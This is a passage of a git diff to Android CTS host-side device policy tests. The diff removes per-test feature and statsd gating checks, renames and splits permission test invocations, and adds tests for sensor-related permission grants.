-        }
         installAppAsUser(INVALID_TARGET_APK, mUserId);
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
@@ -79,9 +69,6 @@
 
     @Test
     public void testTransferPolicies() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferWithPoliciesOutgoing", mUserId);
@@ -92,9 +79,6 @@
 
     @Test
     public void testTransferOwnershipChangedBroadcast() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipChangedBroadcast", mUserId);
@@ -102,9 +86,6 @@
 
     @Test
     public void testTransferCompleteCallback() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnership", mUserId);
@@ -125,9 +106,6 @@
 
     @Test
     public void testTransferOwnershipNoMetadata() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipNoMetadata", mUserId);
@@ -135,9 +113,6 @@
 
     @Test
     public void testIsTransferBundlePersisted() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipBundleSaved", mUserId);
@@ -149,9 +124,6 @@
     @Test
     public void testGetTransferOwnershipBundleOnlyCalledFromAdmin()
             throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testGetTransferOwnershipBundleOnlyCalledFromAdmin", mUserId);
@@ -159,9 +131,6 @@
 
     @Test
     public void testBundleEmptyAfterTransferWithNullBundle() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferOwnershipNullBundle", mUserId);
@@ -172,9 +141,6 @@
 
     @Test
     public void testIsBundleNullNoTransfer() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testIsBundleNullNoTransfer", mUserId);
@@ -201,9 +167,6 @@
 
     @Test
     public void testTargetDeviceAdminServiceBound() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
             mOutgoingTestClassName,
             "testTransferOwnership", mUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index d38a86f..f9eeddc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -17,18 +17,17 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.stats.devicepolicy.EventId;
 
-import com.android.compatibility.common.util.LocationModeSetter;
 import com.android.cts.devicepolicy.annotations.LockSettingsTest;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
@@ -37,6 +36,7 @@
 
 import com.google.common.collect.ImmutableMap;
 
+import org.junit.Ignore;
 import org.junit.Test;
 
 import java.io.File;
@@ -89,7 +89,7 @@
     public static final String CERT_INSTALLER_APK = "CtsCertInstallerApp.apk";
 
     protected static final String DELEGATE_APP_PKG = "com.android.cts.delegate";
-    private static final String DELEGATE_APP_APK = "CtsDelegateApp.apk";
+    protected static final String DELEGATE_APP_APK = "CtsDelegateApp.apk";
     private static final String DELEGATION_CERT_INSTALL = "delegation-cert-install";
     private static final String DELEGATION_APP_RESTRICTIONS = "delegation-app-restrictions";
     private static final String DELEGATION_BLOCK_UNINSTALL = "delegation-block-uninstall";
@@ -147,6 +147,10 @@
             = "com.android.cts.devicepolicy.meteredtestapp";
     private static final String METERED_DATA_APP_APK = "CtsMeteredDataTestApp.apk";
 
+    // For testing key pair grants since they are per-uid
+    private static final String SHARED_UID_APP1_APK = "SharedUidApp1.apk";
+    private static final String SHARED_UID_APP2_APK = "SharedUidApp2.apk";
+
     private static final String ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES
             = "enabled_notification_policy_access_packages";
 
@@ -184,53 +188,46 @@
 
     private static final String NOT_CALLED_FROM_PARENT = "notCalledFromParent";
 
-    // ID of the user all tests are run as. For device owner this will be the primary user, for
+    // ID of the user all tests are run as. For device owner this will be the current user, for
     // profile owner it is the user id of the created profile.
     protected int mUserId;
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-            getDevice().uninstallPackage(PERMISSIONS_APP_PKG);
-            getDevice().uninstallPackage(SIMPLE_PRE_M_APP_PKG);
-            getDevice().uninstallPackage(APP_RESTRICTIONS_TARGET_APP_PKG);
-            getDevice().uninstallPackage(CERT_INSTALLER_PKG);
-            getDevice().uninstallPackage(DELEGATE_APP_PKG);
-            getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
-            getDevice().uninstallPackage(VPN_APP_PKG);
-            getDevice().uninstallPackage(VPN_APP_API23_APK);
-            getDevice().uninstallPackage(VPN_APP_API24_APK);
-            getDevice().uninstallPackage(VPN_APP_NOT_ALWAYS_ON_APK);
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-            getDevice().uninstallPackage(INTENT_SENDER_PKG);
-            getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
-            getDevice().uninstallPackage(AUTOFILL_APP_PKG);
-            getDevice().uninstallPackage(CONTENT_CAPTURE_SERVICE_PKG);
-            getDevice().uninstallPackage(CONTENT_CAPTURE_APP_PKG);
-            getDevice().uninstallPackage(PRINTING_APP_PKG);
-            getDevice().uninstallPackage(METERED_DATA_APP_PKG);
-            getDevice().uninstallPackage(TEST_APP_PKG);
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+        getDevice().uninstallPackage(PERMISSIONS_APP_PKG);
+        getDevice().uninstallPackage(SIMPLE_PRE_M_APP_PKG);
+        getDevice().uninstallPackage(APP_RESTRICTIONS_TARGET_APP_PKG);
+        getDevice().uninstallPackage(CERT_INSTALLER_PKG);
+        getDevice().uninstallPackage(DELEGATE_APP_PKG);
+        getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
+        getDevice().uninstallPackage(VPN_APP_PKG);
+        getDevice().uninstallPackage(VPN_APP_API23_APK);
+        getDevice().uninstallPackage(VPN_APP_API24_APK);
+        getDevice().uninstallPackage(VPN_APP_NOT_ALWAYS_ON_APK);
+        getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+        getDevice().uninstallPackage(INTENT_SENDER_PKG);
+        getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
+        getDevice().uninstallPackage(AUTOFILL_APP_PKG);
+        getDevice().uninstallPackage(CONTENT_CAPTURE_SERVICE_PKG);
+        getDevice().uninstallPackage(CONTENT_CAPTURE_APP_PKG);
+        getDevice().uninstallPackage(PRINTING_APP_PKG);
+        getDevice().uninstallPackage(METERED_DATA_APP_PKG);
+        getDevice().uninstallPackage(TEST_APP_PKG);
 
-            // Press the HOME key to close any alart dialog that may be shown.
-            getDevice().executeShellCommand("input keyevent 3");
-        }
+        // Press the HOME key to close any alart dialog that may be shown.
+        getDevice().executeShellCommand("input keyevent 3");
+
         super.tearDown();
     }
 
     @Test
     public void testCaCertManagement() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".CaCertManagementTest");
     }
 
     @Test
     public void testInstallCaCertLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".CaCertManagementTest", "testCanInstallAndUninstallACaCert");
         }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_CA_CERT_VALUE)
@@ -245,9 +242,6 @@
 
     @Test
     public void testApplicationRestrictionIsRestricted() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(DELEGATE_APP_APK, mUserId);
         runDeviceTestsAsUser(DELEGATE_APP_PKG, ".AppRestrictionsIsCallerDelegateHelper",
             "testAssertCallerIsNotApplicationRestrictionsManagingPackage", mUserId);
@@ -259,10 +253,6 @@
 
     @Test
     public void testApplicationRestrictions() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(DELEGATE_APP_APK, mUserId);
         installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, mUserId);
 
@@ -296,15 +286,13 @@
             // The DPC should still be able to manage app restrictions normally.
             executeDeviceTestClass(".ApplicationRestrictionsTest");
 
-            if (isStatsdEnabled(getDevice())) {
-                assertMetricsLogged(getDevice(), () -> {
-                    executeDeviceTestMethod(".ApplicationRestrictionsTest",
-                            "testSetApplicationRestrictions");
-                }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
-                        .setAdminPackageName(DEVICE_ADMIN_PKG)
-                        .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
-                        .build());
-            }
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".ApplicationRestrictionsTest",
+                        "testSetApplicationRestrictions");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
+                    .setAdminPackageName(DEVICE_ADMIN_PKG)
+                    .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
+                    .build());
         } finally {
             changeApplicationRestrictionsManagingPackage(null);
         }
@@ -381,10 +369,6 @@
      */
     @Test
     public void testDelegation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // Install relevant apps.
         installAppAsUser(DELEGATE_APP_APK, mUserId);
         installAppAsUser(TEST_APP_APK, mUserId);
@@ -417,10 +401,6 @@
 
     @Test
     public void testDelegationCertSelection() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
         setDelegatedScopes(CERT_INSTALLER_PKG, Arrays.asList(
                 DELEGATION_CERT_INSTALL, DELEGATION_CERT_SELECTION));
@@ -435,23 +415,45 @@
 
     @Test
     public void testPermissionGrant() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateDenied_permissionRemainsDenied");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateGranted_permissionRemainsGranted");
     }
 
     @Test
     public void testPermissionGrant_developmentPermission() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(
                 ".PermissionsTest", "testPermissionGrantState_developmentPermission");
     }
 
+    @Test
+    public void testGrantOfSensorsRelatedPermissions() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCannotBeGranted");
+    }
+
+    @Test public void testDenyOfSensorsRelatedPermissions() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCanBeDenied");
+    }
+
+    @Test
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest",
+                "testSensorsRelatedPermissionsNotGrantedViaPolicy");
+    }
+
+    @Test
+    public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest",
+                "testStateOfSensorsRelatedPermissionsCannotBeRead");
+    }
+
     /**
      * Require a device for tests that use the network stack. Headless Androids running in
      * data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
@@ -463,9 +465,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpn() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(VPN_APP_APK, mUserId);
         executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest");
     }
@@ -473,10 +472,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnLockDown() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(VPN_APP_APK, mUserId);
         try {
             executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
@@ -490,10 +485,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnAcrossReboot() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             installAppAsUser(VPN_APP_APK, mUserId);
             waitForBroadcastIdle();
@@ -510,10 +501,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(VPN_APP_APK, mUserId);
         try {
             executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
@@ -528,10 +515,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Target SDK = 23: unsupported
             installAppAsUser(VPN_APP_API23_APK, mUserId);
@@ -553,10 +536,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Target SDK = 24: supported
             executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
@@ -575,9 +554,6 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         // Will be uninstalled in tearDown().
         installAppAsUser(VPN_APP_APK, mUserId);
         assertMetricsLogged(getDevice(), () -> {
@@ -592,117 +568,90 @@
 
     @Test
     public void testPermissionPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicy");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionPolicyAutoDeny_permissionLocked");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionPolicyAutoGrant_permissionLocked");
     }
 
     @Test
     public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testAutoGrantMultiplePermissionsInGroup");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionPolicyAutoGrant_multiplePermissionsInGroup");
     }
 
     @Test
     public void testPermissionMixedPolicies() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionMixedPolicies");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateDenied_mixedPolicies");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateGranted_mixedPolicies");
     }
 
     @Test
     public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(".PermissionsTest",
-                "testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted");
+                "testPermissionGrantStateDenied_otherPermissionIsGranted");
     }
 
-    // Test flakey; suppressed.
-//    @Test
-//    public void testPermissionPrompts() throws Exception {
-//        if (!mHasFeature) {
-//            return;
-//        }
-//        installAppPermissionAppAsUser();
-//        executeDeviceTestMethod(".PermissionsTest", "testPermissionPrompts");
-//    }
+    @Test
+    public void testPermissionPrompts() throws Exception {
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionPrompts");
+    }
 
     @Test
     public void testPermissionAppUpdate() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setDeniedState");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateDenied");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testCannotRequestPermission");
 
         assertNull(getDevice().uninstallPackage(PERMISSIONS_APP_PKG));
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setGrantedState");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateGranted");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testCanRequestPermission");
 
         assertNull(getDevice().uninstallPackage(PERMISSIONS_APP_PKG));
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setAutoDeniedPolicy");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicyAutoDeny");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkDenied");
+        executeDeviceTestMethod(".PermissionsTest", "testCannotRequestPermission");
 
         assertNull(getDevice().uninstallPackage(PERMISSIONS_APP_PKG));
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_setAutoGrantedPolicy");
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicyAutoGrant");
         installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
+        executeDeviceTestMethod(".PermissionsTest", "testCanRequestPermission");
     }
 
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStatePreMApp");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
     }
 
     @Test
     public void testPersistentIntentResolving() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".PersistentIntentResolvingTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".PersistentIntentResolvingTest",
-                        "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
-            }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings(DEVICE_ADMIN_PKG,
-                            "com.android.cts.deviceandprofileowner.EXAMPLE_ACTION")
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".PersistentIntentResolvingTest",
+                    "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
+        }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(DEVICE_ADMIN_PKG,
+                        "com.android.cts.deviceandprofileowner.EXAMPLE_ACTION")
+                .build());
     }
 
     @Test
     public void testScreenCaptureDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             // We need to ensure that the policy is deactivated for the device owner case, so making
             // sure the second test is run even if the first one fails
@@ -723,9 +672,6 @@
 
     @Test
     public void testScreenCaptureDisabled_assist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         try {
             // Install and enable assistant, notice that profile can't have assistant.
             installAppAsUser(ASSIST_APP_APK, mPrimaryUserId);
@@ -740,67 +686,51 @@
 
     @Test
     public void testSupportMessage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".SupportMessageTest");
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(
-                        ".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".SupportMessageTest",
-                        "testLongSupportMessageSetGetAndClear");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".SupportMessageTest", "testLongSupportMessageSetGetAndClear");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
     }
 
     @Test
     public void testApplicationHidden() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
         executeDeviceTestClass(".ApplicationHiddenTest");
-        if (isStatsdEnabled(getDevice())) {
-            installAppAsUser(PERMISSIONS_APP_APK, mUserId);
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".ApplicationHiddenTest",
-                        "testSetApplicationHidden");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .setStrings(PERMISSIONS_APP_PKG, "hidden", NOT_CALLED_FROM_PARENT)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .setStrings(PERMISSIONS_APP_PKG, "not_hidden", NOT_CALLED_FROM_PARENT)
-                    .build());
-        }
+        installAppAsUser(PERMISSIONS_APP_APK, mUserId);
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".ApplicationHiddenTest","testSetApplicationHidden");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setStrings(PERMISSIONS_APP_PKG, "hidden", NOT_CALLED_FROM_PARENT)
+                .build(),
+        new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_HIDDEN_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setStrings(PERMISSIONS_APP_PKG, "not_hidden", NOT_CALLED_FROM_PARENT)
+                .build());
+    }
+
+    @Test
+    public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+        executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
     }
 
     @Test
     public void testAccountManagement_deviceAndProfileOwnerAlwaysAllowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         executeDeviceTestClass(".AllowedAccountManagementTest");
     }
 
     @Test
     public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
@@ -814,10 +744,6 @@
 
     @Test
     public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
@@ -831,10 +757,6 @@
 
     @Test
     public void testAccountManagement_disabledAddAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
@@ -848,10 +770,6 @@
 
     @Test
     public void testAccountManagement_disabledRemoveAccount() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
             changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
@@ -865,25 +783,16 @@
 
     @Test
     public void testDelegatedCertInstaller() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
-        boolean isManagedProfile = (mPrimaryUserId != mUserId);
-
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest", mUserId);
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest",
-                        "testInstallKeyPair", mUserId);
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings(CERT_INSTALLER_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest",
+                    "testInstallKeyPair", mUserId);
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_CERT_INSTALLER_PACKAGE_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setStrings(CERT_INSTALLER_PKG)
+                .build());
     }
 
     public interface DelegatedCertInstallerTestAction {
@@ -910,10 +819,6 @@
     // the DelegatedCertinstallerTest.
     @Test
     public void testDelegatedCertInstallerDirectly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         setUpDelegatedCertInstallerAndRunTests(() ->
             runDeviceTestsAsUser("com.android.cts.certinstaller",
                     ".DirectDelegatedCertInstallerTest", mUserId));
@@ -923,10 +828,6 @@
     // access to it.
     @Test
     public void testSetKeyGrant() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // Install an app
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
@@ -956,10 +857,6 @@
     public void testSetWallpaper_disallowed() throws Exception {
         // UserManager.DISALLOW_SET_WALLPAPER
         final String DISALLOW_SET_WALLPAPER = "no_set_wallpaper";
-        if (!mHasFeature) {
-            return;
-        }
-
         if (!hasService("wallpaper")) {
             CLog.d("testSetWallpaper_disallowed(): device does not support wallpapers");
             return;
@@ -979,9 +876,6 @@
     // inside. But these restrictions must have no effect on the device/profile owner behavior.
     @Test
     public void testDisallowSetWallpaper_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         if (!hasService("wallpaper")) {
             CLog.d("testDisallowSetWallpaper_allowed(): device does not support wallpapers");
             return;
@@ -992,9 +886,6 @@
 
     @Test
     public void testDisallowAutofill_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         boolean hasAutofill = hasDeviceFeature("android.software.autofill");
         if (!hasAutofill) {
           return;
@@ -1007,10 +898,6 @@
 
     @Test
     public void testDisallowContentCapture_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         boolean hasContentCapture = hasService("content_capture");
         if (!hasContentCapture) {
             return;
@@ -1029,10 +916,6 @@
 
     @Test
     public void testDisallowContentSuggestions_allowed() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         boolean hasContentSuggestions = hasService("content_suggestions");
         if (!hasContentSuggestions) {
             return;
@@ -1064,9 +947,8 @@
 
     @Test
     public void testSetMeteredDataDisabledPackages() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
-            return;
-        }
+        assumeHasWifiFeature();
+
